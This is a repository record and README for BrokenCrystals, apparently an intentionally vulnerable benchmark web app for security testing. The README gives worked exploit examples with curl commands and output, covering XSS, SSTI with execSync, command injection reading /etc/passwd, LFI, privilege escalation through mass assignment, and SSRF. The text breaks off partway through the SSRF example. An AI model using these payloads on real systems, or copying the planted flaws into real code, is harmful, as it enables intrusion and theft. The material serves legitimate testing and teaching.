{"id":22014708,"url":"https://github.com/neuralegion/brokencrystals","last_synced_at":"2025-04-11T23:21:49.038Z","repository":{"id":38371031,"uuid":"320321755","full_name":"NeuraLegion/brokencrystals","owner":"NeuraLegion","description":"A Broken Application - Very Vulnerable! ","archived":false,"fork":false,"pushed_at":"2025-04-10T11:08:52.000Z","size":40754,"stargazers_count":155,"open_issues_count":18,"forks_count":242,"subscribers_count":14,"default_branch":"stable","last_synced_at":"2025-04-10T11:47:59.087Z","etag":null,"topics":["benchmark","cyber-security","devops","nestjs","nodejs","react","secops","security","typescript","vulnerable"],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/NeuraLegion.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-12-10T16:03:30.000Z","updated_at":"2025-04-10T06:54:21.000Z","dependencies_parsed_at":"2023-02-18T20:00:18.415Z","dependency_job_id":"66f00b31-6d9f-4f7a-b172-7d526ff9f556","html_url":"https://github.com/NeuraLegion/brokencrystals","commit_stats":null,"previous_names":[],"tags_count":84,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/NeuraLegion%2Fbrokencrystals","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/NeuraLegion%2Fbrokencrystals/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/NeuraLegion%2Fbrokencrystals/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/NeuraLegion%2Fbrokencrystals/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/NeuraLegion","download_url":"https://codeload.github.com/NeuraLegion/brokencrystals/tar.gz/refs/heads/stable","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248493047,"owners_count":21113190,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["benchmark","cyber-security","devops","nestjs","nodejs","react","secops","security","typescript","vulnerable"],"created_at":"2024-11-30T04:17:20.274Z","updated_at":"2025-04-11T23:21:49.004Z","avatar_url":"https://github.com/NeuraLegion.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"## Description\n\nBroken Crystals is a benchmark application that uses modern technologies and implements a set of common security vulnerabilities.\n\nThe application contains:\n\n- React based web client \u0026 API: http://localhost:3000\n- Node.js server that serves the React client and provides both OpenAPI and GraphQL endpoints.\n  The full API documentation is available via swagger or GraphQL:\n  - Swagger UI - http://localhost:3000/swagger\n  - Swagger JSON file - http://localhost:3000/swagger-json\n  - GraphiQL UI - http://localhost:3000/graphiql\n\n\u003e **Note**\n\u003e The GraphQL API does not yet support all the endpoints the REST API does.\n\n## Building and Running the Application\n\nBuild and start local development environment with Postgres DB, MailCatcher and the app:\n\n```bash\ndocker compose --file=compose.local.yml up -d\n```\n\nTo rebuild the app and restart the containers:\n\n```bash\ndocker compose --file=compose.local.yml up -d --build --force-recreate\n```\n\n## Running tests by [SecTester](https://github.com/NeuraLegion/sectester-js/)\n\nIn the path [`./test`](./test) you can find tests to run with Jest.\n\nFirst, you have to get a [Bright API key](https://docs.brightsec.com/docs/manage-your-personal-account#manage-your-personal-api-keys-authentication-tokens), navigate to your [`.env`](.env) file, and paste your Bright API key as the value of the `BRIGHT_TOKEN` variable:\n\n```text\nBRIGHT_TOKEN=\u003cyour_API_key_here\u003e\n```\n\nThen, you can modify a URL to your instance of the application by setting the `SEC_TESTER_TARGET` environment variable in your [`.env`](.env) file:\n\n```text\nSEC_TESTER_TARGET=http://localhost:3000\n```\n\nFinally, you can start tests with SecTester against these endpoints as follows:\n\n```bash\nnpm run test:e2e\n```\n\nFull configuration \u0026 usage examples can be found in our [demo project](https://github.com/NeuraLegion/sectester-js-demo-broken-crystals);\n\n## Vulnerabilities Overview\n\n- **Broken JWT Authentication** - The application includes multiple endpoints that generate and validate several types of JWT tokens. The main login API, used by the UI, is utilizing one of the endpoints while others are available via direct call and described in Swagger.\n\n  - **No Algorithm bypass** - Bypasses the JWT authentication by using the “None” algorithm (implemented in main login and API authorization code).\n  - **RSA to HMAC** - Changes the algorithm to use a “HMAC” variation and signs with the public key of the application to bypass the authentication (implemented in main login and API authorization code).\n  - **Invalid Signature** - Changes the signature of the JWT to something different and bypasses the authentication (implemented in main login and API authorization code).\n  - **KID Manipulation** - Changes the value of the KID field in the Header of JWT to use either: (1) a static file that the application uses or (2) OS Command that echoes the key that will be signed or (3) SQL code that will return a key that will be used to sign the JWT (implemented in designated endpoint as described in Swagger).\n  - **Brute Forcing Weak Secret Key** - Checks if common secret keys are used (implemented in designated endpoint as described in Swagger). The secret token is configurable via .env file and, by default, is 123.\n  - **X5U Rogue Key** - Uses the uploaded certificate to sign the JWT and sets the X5U Header in JWT to point to the uploaded certificate (implemented in designated endpoint as described in Swagger).\n  - **X5C Rogue Key** - The application doesn't properly check which X5C key is used for signing. When we set the X5C headers to our values and sign with our private key, authentication is bypassed (implemented in designated endpoint as described in Swagger).\n  - **JKU Rogue Key** - Uses our publicly available JSON to check if JWT is properly signed after we set the Header in JWT to point to our JSON and sign the JWT with our private key (implemented in designated endpoint as described in Swagger).\n  - **JWK Rogue Key** - We make a new JSON with empty values, hash it, and set it directly in the Header, and we then use our private key to sign the JWT (implemented in designated endpoint as described in Swagger).\n\n- **Brute Force Login** - Checks if the application user is using a weak password. The default setup contains user = _admin_ with password = _admin_\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation\u003c/summary\u003e\n\n  To demonstrate brute force login, you can use the following `curl` command:\n\n  ```bash\n  $ curl https://brokencrystals.com/api/auth/login \\\n  \u003e   -H 'Content-Type: application/json' \\\n  \u003e   -d '{\"user\":\"admin\",\"password\":\"admin\",\"op\":\"basic\"}'\n  {\"email\":\"admin\",\"ldapProfileLink\":\"(\u0026(objectClass=person)(objectClass=user)(email=admin))\"}\n  ```\n\n  \u003c/details\u003e\n\n- **Common Files** - Tries to find common files that shouldn’t be publicly exposed (such as “phpinfo”, “.htaccess”, “ssh-key.priv”, etc…). The application contains .htaccess and nginx.conf files under the client's root directory and additional files can be added by placing them under the public/public directory and running a build of the client.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation of Common Files\u003c/summary\u003e\n\n  To demonstrate accessing a common file, you can use the following `curl` command:\n\n  ```bash\n  curl https://brokencrystals.com/.htaccess\n  ```\n\n  Response:\n\n  ```text\n  RewriteEngine on\n  RewriteCond %{REQUEST_FILENAME} !-d\n  RewriteCond %{REQUEST_FILENAME}\\.php -f\n  RewriteRule ^(.*)$ $1.php\n\n  ErrorDocument 400 /error_pages/400.php\n  ErrorDocument 401 /error_pages/401.php\n  ErrorDocument 403 /error_pages/403.php\n  ErrorDocument 404 /error_pages/404.php\n  ErrorDocument 410 /error_pages/410.php\n  ErrorDocument 500 /error_pages/500.php\n\n  #Serve .htc files correctly, for IE fixes\n  AddType text/x-component .htc\n\n  php_value upload_max_filesize 10M\n  php_value post_max_size 10M\n  php_value max_execution_time 200\n  php_value max_input_time 200\n  ```\n\n  \u003c/details\u003e\n\n- **Cookie Security** - Checks if the cookie has the “secure” and HTTP only flags. The application returns two cookies (session and bc-calls-counter cookie), both without secure and HttpOnly flags.\n\n- **Cross-Site Request Forgery (CSRF)**\n\n  - Checks if a form holds anti-CSRF tokens, misconfigured “CORS” and misconfigured “Origin” header - the application returns \"Access-Control-Allow-Origin: \\*\" header for all requests. The behavior can be configured in the /main.ts file.\n  - The same form with both authenticated and unauthenticated user - the _Email subscription_ UI forms can be used for testing this vulnerability.\n    \u003cdetails\u003e\n      \u003csummary\u003eExample of Misconfigured CORS\u003c/summary\u003e\n\n    ![Example of Misconfigured CORS](docs/cors.gif)\n\n    \u003c/details\u003e\n\n  - Different form for an authenticated and unauthenticated user - the _Add testimonial_ form can be used for testing. The forms are only available to authenticated users.\n\n- **Cross-Site Scripting (XSS)** -\n\n  - **Reflective XSS** There are couple of endpoints that are vulnerable to reflective XSS:\n\n    - Landing page with the _dummy_ query param that contains DOM content (including script), add the provided DOM will be injected into the page and script executed.\n    - Landing page maptitle param that contains DOM content (including script), add the provided DOM will be injected into the page and script executed.\n    - /api/testimonials/count page count param is vulnerable to reflective XSS.\n    - POST to https://brokencrystals.com/api/metadata with body XML body vulnarable for reflective XSS.\n    - POST to https://brokencrystals.com/api/metadata with body SVG body vulnarable for reflective XSS.\n\n    \u003cdetails\u003e\n      \u003csummary\u003eReflective XSS Example Exploitation\u003c/summary\u003e\n\n    To demonstrate reflective XSS, you can use the following payloads:\n\n    1. **Landing Page Dummy Query Parameter**:\n\n       - URL: `https://brokencrystals.com/?__dummy=__\u003cscript\u003ealert('XSS')\u003c/script\u003e`\n       - The `dummy` query parameter is directly injected into the DOM without sanitization, causing the script to execute.\n\n    2. **Landing Page Map Title Parameter**:\n\n       - URL: `https://brokencrystals.com/?maptitle=\u003cscript\u003ealert('XSS')\u003c/script\u003e`\n       - The `maptitle` parameter is used in the DOM and allows script execution.\n\n    3. **Testimonials Page Count Parameter**:\n       - URL: `https://brokencrystals.com/api/testimonials/count?query=\u003cscript\u003ealert('XSS')\u003c/script\u003e`\n       - The `query` parameter is reflected in the response without sanitization, allowing script execution.\n    4. **POST to /api/metadata with XML Body**:\n       - URL: `https://brokencrystals.com/api/metadata`\n       - Body: `\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cx:script xmlns:x=\"http://www.w3.org/1999/xhtml\"\u003eprompt(\"bright986352\")\u003c/x:script\u003e\u003cchild\u003e\u003c/child\u003e`\n       - The XML body is processed and the script is executed in the response.\n    5. **POST to /api/metadata with SVG Body**:\n       - URL: `https://brokencrystals.com/api/metadata`\n       - Body: `\u003csvg xmlns=\"http://www.w3.org2000/svg\" xmlns:xlink=\"http://www.w3.org1999/xlink\" viewBox=\"0 0 915 585\"\u003e\u003cg\u003cx:script xmlns:x=\"http://www.w3.org/1999/xhtml\"\u003eprompt(\"bright443188\")\u003c/`\n\n    \u003c/details\u003e\n\n  - **Persistent XSS** can be demonstrated using add testimonial form on the landing page (for authenticated users only).\n\n    \u003cdetails\u003e\n      \u003csummary\u003ePersistent XSS Example Exploitation\u003c/summary\u003e\n\n    To demonstrate persistent XSS, you can use the following steps:\n\n    1. Submit the following `curl` request to store the XSS payload:\n\n       ```bash\n       curl 'https://brokencrystals.com/api/testimonials' -X POST \\\n       -H 'authorization: AUTH_TOKEN' \\\n       -H 'Content-Type: application/json' \\\n       --data-raw '{\"name\":\"Test User\",\"title\":\"Test Title\",\"message\":\"\u003cscript\u003ealert(12345)\u003c/script\u003e\"}'\n       ```\n\n    2. Visit the testimonials page at `https://brokencrystals.com/marketplace` to observe the execution of the XSS payload.\n\n    \u003c/details\u003e\n\n  - **DOM Cross-Site Scripting** - can be demonstrated by using the mailing list subscription form on the landing page. The form sends a POST request to `/api/subscriptions?email=VALUE`, and the server's response is embedded into the page without any validation on either the server or client side. This allows an attacker to inject malicious scripts into the page.\n    \u003cdetails\u003e\n      \u003csummary\u003eExample Exploitation\u003c/summary\u003e\n\n    To demonstrate this vulnerability, you can submit the following payload in the email field of the subscription form:\n\n    ```html\n    \u003cscript\u003e\n      alert('XSS');\n    \u003c/script\u003e\n    ```\n\n    Brobser perform a POST request to `/api/subscriptions?email=\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e'` with the payload in the email field.\n    The server's response will include the injected script, which will be embedded into the page and executed by the browser. This can be used to execute arbitrary JavaScript code in the context of the user's session.\n\n    Example:\n    ![Example of DOM XSS Exploitation](docs/bc_dom_xss.gif)\n\n    \u003c/details\u003e\n\n- **Default Login Location** - The login endpoint is available under /api/auth/login.\n\n- **Directory Listing** - The Nginx config file under the nginx-conf directory is configured to allow directory listing.\n\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation of Directory Listing\u003c/summary\u003e\n\n  To demonstrate directory traversal, you can use the following `curl` command:\n\n  ```bash\n  curl https://brokencrystals.com/vendor/\n  ```\n\n  Example Response:\n\n  ```html\n  \u003chead\u003e\n    \u003ctitle\u003eIndex of /vendor/\u003c/title\u003e\n  \u003c/head\u003e\n  \u003chtml\u003e\n    \u003cbody\u003e\n      \u003ch1\u003eIndex of /vendor/\u003c/h1\u003e\n      \u003chr /\u003e\n      \u003ctable style=\"width: max(450px, 50%);\"\u003e\n        \u003ctr\u003e\n          \u003ctd\u003e\n            \u003ca href=\"/\"\u003e../\u003c/a\u003e\n          \u003c/td\u003e\n          \u003ctd\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003c/td\u003e\n        \u003c/tr\u003e\n        \u003ctr\u003e\n          \u003ctd\u003e\n            \u003ca href=\"/vendor/bootstrap-4.1\"\u003ebootstrap-4.1\u003c/a\u003e\n          \u003c/td\u003e\n          \u003ctd\u003e4/7/2025, 8:33:43 AM\u003c/td\u003e\n        \u003c/tr\u003e\n        ...\n      \u003c/table\u003e\n    \u003c/body\u003e\n  \u003c/html\u003e\n  ```\n\n    \u003c/details\u003e\n\n- **File Upload** - The application allows uploading an avatar photo of the authenticated user. The server doesn't perform any sort of validation on the uploaded file.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample of No Anti-Virus Protection\u003c/summary\u003e\n\n  Uploading an EICAR test file with the file extension changed to \"exe\":\n\n  ```bash\n  curl -i 'https://qa.brokencrystals.com/api/users/one/admin/photo' \\\n    -X PUT \\\n    -H 'authorization: AUTH_TOKEN' \\\n    -H 'Content-Type: multipart/form-data; boundary=--------------------------296987379026085658617195' \\\n    --data-binary $'----------------------------296987379026085658617195\\r\\nContent-Disposition: form-data; name=\"admin\"; filename=\"sample-img2ee0.exe\"\\r\\nContent-Type: image/png\\r\\n\\r\\nX5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\\r\\n----------------------------296987379026085658617195--\\r\\n'\n  ```\n\n  The response indicates successful upload:\n\n  ```\n  HTTP/2 200\n  ```\n\n  Successfully fetching the file shows that the server stored the file:\n\n  ```bash\n  $ curl -i 'https://qa.brokencrystals.com/api/users/one/admin/photo' -H 'authorization: AITH_TOKEN'\n  HTTP/2 200\n  date: Wed, 26 Mar 2025 08:18:40 GMT\n  content-type: application/octet-stream\n  content-length: 68\n  x-xss-protection: 0\n  strict-transport-security: max-age=31536000; includeSubDomains\n  x-content-type-options: 1\n  content-security-policy: default-src  * 'unsafe-inline' 'unsafe-eval'\n  set-cookie: bc-calls-counter=1742977120812\n  set-cookie: connect.sid=lMiES0Dvw-Ry3lTj3y66OZz5E4yss82w.N8A90AIvE3tPkAoQfoah5KOb6PUIuw%2FqXA2Lf2HkCBU; Path=/\n\n  X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n  ```\n\n  \u003c/details\u003e\n\n- **Full Path Disclosure** - All errors returned by the server include the full path of the file where the error has occurred. The errors can be triggered by passing wrong values as parameters or by modifying the bc-calls-counter cookie to a non-numeric value.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample of Full Path Disclosure\u003c/summary\u003e\n    ```bash\n    curl -H 'Cookie:bc-calls-counter=notint;' 'https://wset--26331-12.k3s.brokencrystals.nexploit.app/api/products/latest'\n    ```\n    Response:\n    ```json\n    {\n      \"error\": \"Invalid counter value\",\n      \"location\": \"/usr/src/app/dist/components/global-exception.filter.js\"\n    }\n    ```\n    The location field in the JSON response reveals the full internal file path: /usr/src/app/dist/components/global-exception.filter.js.\n    This is sensitive information that should not be exposed to users, as it provides insights into the server's directory structure.\n  \u003c/details\u003e\n\n- **Headers Security Check** - The application is configured with misconfigured security headers. The list of headers is available in the headers.configurator.interceptor.ts file. A user can pass the _no-sec-headers_ query param to any API to prevent the server from sending the headers.\n\n- **HTML Injection** - Both forms testimonial and mailing list subscription forms allow HTML injection.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample of HTML Injection\u003c/summary\u003e\n\n  ![Example of HTML Injection](docs/htmli.gif)\n\n  \u003c/details\u003e\n\n- **CSS Injection** - The login page is vulnerable to CSS Injections through a URL parameter: https://brokencrystals.com/userlogin?logobgcolor=transparent.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample of CSS Injection\u003c/summary\u003e\n    ![Example of CSS Injection](docs/css_injection.gif)\n  \u003c/details\u003e\n\n- **HTTP Method fuzzer** - The server supports uploading, deletion, and getting the content of a file via /put.raw addition to the URL. The actual implementation using a regular upload endpoint of the server and the /put.raw endpoint is mapped in Nginx.\n\n- **LDAP Injection** - The login request returns an LDAP query for the user's profile, which can be used as a query parameter in /api/users/ldap _query_ query parameter. The returned query can be modified to search for other users. If the structure of the LDAP query is changed, a detailed LDAP error will be returned (with LDAP server information and hierarchy).\n  \u003cdetails\u003e\n    \u003csummary\u003eLDAP Injection Example Exploitation\u003c/summary\u003e\n\n  ```bash\n  curl \"https://brokencrystals.com/api/users/ldap?query=%28%26%28objectClass%3Dperson%29%28objectClass%3Duser%29%28email%3D%2A%29%29\"\n  ```\n\n  This is a URI-encoded version of the following query:\n\n  ```text\n  https://brokencrystals.com/api/users/ldap?query=(\u0026(objectClass=person)(objectClass=user)(email=*))\n  ```\n\n  The query retrieves information about all users with an email address, using the wildcard `*` to match any email. This demonstrates how the endpoint can be exploited to extract sensitive information from the LDAP directory.\n\n  \u003c/details\u003e\n\n- **Local File Inclusion (LFI)** - The /api/files endpoint returns any file on the server from the path that is provided in the _path_ param. The UI uses this endpoint to load crystal images on the landing page.\n\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation\u003c/summary\u003e\n\n  To demonstrate file disclosure, you can use the following `curl` commands:\n\n  1.  Accessing the `/etc/hosts` File with GET /api/file/raw\n\n      ```bash\n      curl https://brokencrystals.com/api/file/raw\\?path\\=/etc/hosts\n      ```\n\n      Example Response:\n\n      ```text\n      # Kubernetes-managed hosts file.\n      127.0.0.1       localhost\n      ::1     localhost ip6-localhost ip6-loopback\n      fe00::0 ip6-localnet\n      fe00::0 ip6-mcastprefix\n      fe00::1 ip6-allnodes\n      fe00::2 ip6-allrouters\n      10.0.46.108     brokencrystals-56b48bd6f9-j4x8c\n\n      # Entries added by HostAliases.\n      127.0.0.1       postgres        keycloak-postgres       keycloak        nodejs  proxy   repeater        db      brokencrystals.local\n      ```\n\n  2.  Accessing the `/etc/hosts` File with GET /api/file/\n\n           ```bash\n           curl https://brokencrystals.com/api/file\\?path\\=/etc/hosts\n           ```\n\n           Example Response:\n\n           ```text\n           # Kubernetes-managed hosts file.\n           127.0.0.1       localhost\n           ::1     localhost ip6-localhost ip6-loopback\n           fe00::0 ip6-localnet\n           fe00::0 ip6-mcastprefix\n           fe00::1 ip6-allnodes\n           fe00::2 ip6-allrouters\n           10.0.46.108     brokencrystals-56b48bd6f9-j4x8c\n\n           # Entries added by HostAliases.\n           127.0.0.1       postgres        keycloak-postgres       keycloak        nodejs  proxy   repeater        db      brokencrystals.local\n           ```\n\n      \u003c/details\u003e\n\n- **Mass Assignment** - You can add to user admin privileges upon creating user or updating userdata. When you are creating a new user /api/users/basic you can use additional hidden field in body request { ... \"isAdmin\" : true }. If you are trying to edit userdata with PUT request /api/users/one/{email}/info you can add this additional field mentioned above. For checking admin permissions there is one more endpoint: /api/users/one/{email}/adminpermission.\n  \u003cdetails\u003e\n    \u003csummary\u003eHidden Field Exploitation for Privilege Escalation\u003c/summary\u003e\n      1. Creating a Regular User\n\n      ```bash\n      curl 'https://brokencrystals.com/api/users/basic' -X POST \\\n        -H 'Content-Type: application/json' \\\n        --data-raw '{\"email\":\"regular_user\",\"firstName\":\"John\",\"lastName\":\"Doe\",\"company\":\"Test\",\"cardNumber\":\"123\",\"phoneNumber\":\"555-1234\",\"password\":\"password123\",\"op\":\"basic\"}'\n      ```\n\n      2. Login as Regular User\n\n      ```bash\n      curl 'https://brokencrystals.com/api/auth/login' -X POST \\\n        -H 'Content-Type: application/json' \\\n        --data-raw '{\"user\":\"regular_user\",\"password\":\"password123\",\"op\":\"basic\"}'\n      ```\n\n      The response will contain an authorization token:\n\n      ```\n      {\"auth-token\":\"eyJ0eXAiOiJKV1QiLCJhbGci...\"}\n      ```\n\n      3. Verify No Admin Permissions for Regular User\n\n      ```bash\n      curl 'https://brokencrystals.com/api/users/one/regular_user/adminpermission' \\\n        -H 'authorization: eyJ0eXAiOiJKV1QiLCJhbGci...'\n      ```\n\n      Response returns `false`, indicating no admin permissions.\n\n      4. Creating a User with Admin Privileges (Exploiting the Vulnerability)\n\n      ```bash\n      curl 'https://brokencrystals.com/api/users/basic' -X POST \\\n        -H 'Content-Type: application/json' \\\n        --data-raw '{\"isAdmin\":true,\"email\":\"admin_user\",\"firstName\":\"Admin\",\"lastName\":\"User\",\"company\":\"Test\",\"cardNumber\":\"123\",\"phoneNumber\":\"555-5678\",\"password\":\"password123\",\"op\":\"basic\"}'\n      ```\n\n      5. Login as Admin User\n\n      ```bash\n      curl 'https://brokencrystals.com/api/auth/login' -X POST \\\n        -H 'Content-Type: application/json' \\\n        --data-raw '{\"user\":\"admin_user\",\"password\":\"password123\",\"op\":\"basic\"}'\n      ```\n\n      This will return another authorization token for the admin user.\n\n      6. Verify Admin Permissions for the Admin User\n\n      ```bash\n      curl 'https://brokencrystals.com/api/users/one/admin_user/adminpermission' \\\n        -H 'authorization: eyJ0eXAiOiJKV1QiLCJhbGci...'\n      ```\n\n      Response returns `true`, confirming admin permissions have been granted.\n\n  \u003c/details\u003e\n\n- **Open Database** - The index.html file includes a link to manifest URL, which returns the server's configuration, including a DB connection string.\n    \u003cdetails\u003e\n      \u003csummary\u003eExample exposed database donnection string\u003c/summary\u003e\n\n      ```bash\n      curl http://brokencrystals.com/api/config\n      ```\n\n      The server responds with configuration details:\n\n      ```json\n      {\n        \"awsBucket\": \"https://neuralegion-open-bucket.s3.amazonaws.com\",\n        \"sql\": \"postgres://bc:bc@postgres:5432/bc\",\n        \"googlemaps\": \"AIzaSyD2wIxpYCuNI0Zjt8kChs2hLTS5abVQfRQ\"\n      }\n      ```\n\n    \u003c/details\u003e\n\n- **OS Command Injection** - The /api/spawn endpoint spawns a new process using the command in the _command_ query parameter. The endpoint is not referenced from UI.\n    \u003cdetails\u003e\n      \u003csummary\u003eExample Exploitation\u003c/summary\u003e\n\n      To demonstrate an SSTI attack, you can use the following `curl` command:\n\n      ```bash\n      $ curl 'https://brokencrystals.com/api/spawn?command=uname%20-a'\n      ```\n\n      The response includes a result of code execution:\n\n      ```\n      Linux brokencrystals-5b9b6759cb-66vvt 6.1.115-126.197.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov  5 17:36:57 UTC 2024 x86_64 Linux\n      ```\n\n    \u003c/details\u003e\n\n    \u003cdetails\u003e\n      \u003csummary\u003eAnother Example Exploitation on graphQL\u003c/summary\u003e\n\n      To demonstrate another SSTI attack, you can use the following `curl` command:\n\n      ```bash\n      curl -i -X POST -H Content-Type:application/json -H Accept:application/json 'https://brokencrystals.com/graphql' -d '{\"query\":\"query ($getCommandResult_command: String!) { getCommandResult (command: $getCommandResult_command) }\" ,\"variables\":{\"getCommandResult_command\":\"/bin/cat /etc/passwd \"}}'\n      ```\n\n      The response includes a result of code execution:\n\n      ```\n      {\"data\":{\"getCommandResult\":\"root:x:0:0:root:/root:/bin/sh\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\nnode:x:1000:1000::/home/node:/bin/sh\\n\"}}%\n      ```\n\n    \u003c/details\u003e\n\n- **Secret Tokens** - The /api/secrets and /api/config contains many secret tokens returns the server's configuration, including a various of API keys.\n    \u003cdetails\u003e\n      \u003csummary\u003eExample Exploitation of Secret Tokens\u003c/summary\u003e\n\n      To demonstrate the exposure of secret tokens, you can use the following `curl` commands:\n\n        ```bash\n        curl https://brokencrystals.com/api/secrets\n        ```\n\n        Response:\n\n        ```json\n        {\n          \"codeclimate\": \"CODECLIMATE_REPO_TOKEN=62864c476ade6ab9d10d0ce0901ae2c211924852a28c5f960ae5165c1fdfec73\",\n          \"facebook\": \"EAACEdEose0cBAHyDF5HI5o2auPWv3lPP3zNYuWWpjMrSaIhtSvX73lsLOcas5k8GhC5HgOXnbF3rXRTczOpsbNb54CQL8LcQEMhZAWAJzI0AzmL23hZByFAia5avB6Q4Xv4u2QVoAdH0mcJhYTFRpyJKIAyDKUEBzz0GgZDZD\",\n          \"google_b64\": \"QUl6YhT6QXlEQnbTr2dSdEI1W7yL2mFCX3c4PPP5NlpkWE65NkZV\",\n          \"google_oauth\": \"188968487735-c7hh7k87juef6vv84697sinju2bet7gn.apps.googleusercontent.com\",\n          \"google_oauth_token\": \"ya29.a0TgU6SMDItdQQ9J7j3FVgJuByTTevl0FThTEkBs4pA4-9tFREyf2cfcL-_JU6Trg1O0NWwQKie4uGTrs35kmKlxohWgcAl8cg9DTxRx-UXFS-S1VYPLVtQLGYyNTfGp054Ad3ej73-FIHz3RZY43lcKSorbZEY4BI\",\n          \"heroku\": \"herokudev.staging.endosome.975138 pid=48751 request_id=0e9a8698-a4d2-4925-a1a5-113234af5f60\",\n          \"hockey_app\": \"HockeySDK: 203d3af93f4a218bfb528de08ae5d30ff65e1cf\",\n          \"outlook\": \"https://outlook.office.com/webhook/7dd49fc6-1975-443d-806c-08ebe8f81146@a532313f-11ec-43a2-9a7a-d2e27f4f3478/IncomingWebhook/8436f62b50ab41b3b93ba1c0a50a0b88/eff4cd58-1bb8-4899-94de-795f656b4a18\",\n          \"paypal\": \"access_token$production$x0lb4r69dvmmnufd$3ea7cb281754b7da7dac131ef5783321\",\n          \"slack\": \"xoxo-175588824543-175748345725-176608801663-826315f84e553d482bb7e73e8322sdf3\"\n        }\n        ```\n\n        ```bash\n        curl https://brokencrystals.com/api/config\n        ```\n\n        Response:\n\n        ```json\n        {\n          \"awsBucket\": \"https://neuralegion-open-bucket.s3.amazonaws.com\",\n          \"sql\": \"postgres://bc:bc@postgres:5432/bc\",\n          \"googlemaps\": \"AIzaSyD2wIxpYCuNI0Zjt8kChs2hLTS5abVQfRQ\"\n        }\n        ```\n\n        These responses reveal sensitive information, such as API keys, database connection strings, and other tokens, which should not be publicly accessible.\n\n    \u003c/details\u003e\n\n- **Server-Side Template Injection (SSTI)** - The endpoint /api/render receives a plain text body and renders it using the doT (http://github.com/olado/dot) templating engine.\n  \u003cdetails\u003e\n    \u003csummary\u003eServer-Side Template Injection (SSTI) Example Exploitation\u003c/summary\u003e\n\n  To demonstrate an SSTI attack, you can use the following `curl` command:\n\n  ```bash\n  curl 'https://brokencrystals.com/api/render' -X POST -H 'Content-Type: text/plain' \\\n  --data-raw \"{{= global.process.mainModule.require('child_process').execSync('ls -la /home') }}\"\n  ```\n\n  The response includes a result of code execution - lising /home dir\n\n  ```\n  total 0\n  drwxr-xr-x    1 root     root            18 Feb 20 15:27 .\n  drwxr-xr-x    1 root     root            40 Mar 21 11:57 ..\n  drwxr-sr-x    2 node     node             6 Feb 20 15:27 node\n  ```\n\n  \u003c/details\u003e\n\n- **Server-Side Request Forgery (SSRF)** - The endpoint /api/file receives the _path_ and _type_ query parameters and returns the content of the file in _path_ with Content-Type value from the _type_ parameter. The endpoint supports relative and absolute file names, HTTP/S requests, as well as metadata URLs of Azure, Google Cloud, AWS, and DigitalOcean.\n  There are specific endpoints for each cloud provider as well - `/api/file/google`, `/api/file/aws`, `/api/file/azure`, `/api/file/digital_ocean`.\n  \u003cdetails\u003e\n    \u003csummary\u003eExample Exploitation of Server-Side Request Forgery (SSRF)\u003c/summary\u003e\n\n  To demonstrate SSRF, you can use the following `curl` commands:\n\n  1. **Triggering a Request to an External Resource**:\n\n     ```bash\n     curl 'https://brokencrystals.com/api/file?path=https://httpbin.org/get'\n     ```\n\n     Example Response:\n\n     ```json\n     {\n       \"args\": {},\n       \"headers\": {\n         \"Accept\": \"application/json, text/plain, */*\",\n         \"Accept-Encoding\": \"gzip, compress, deflate, br\",\n         \"Host\": \"httpbin.org\",\n         \"User-Agent\": \"axios/1.7.7\",\n         \"X-Amzn-Trace-Id\": 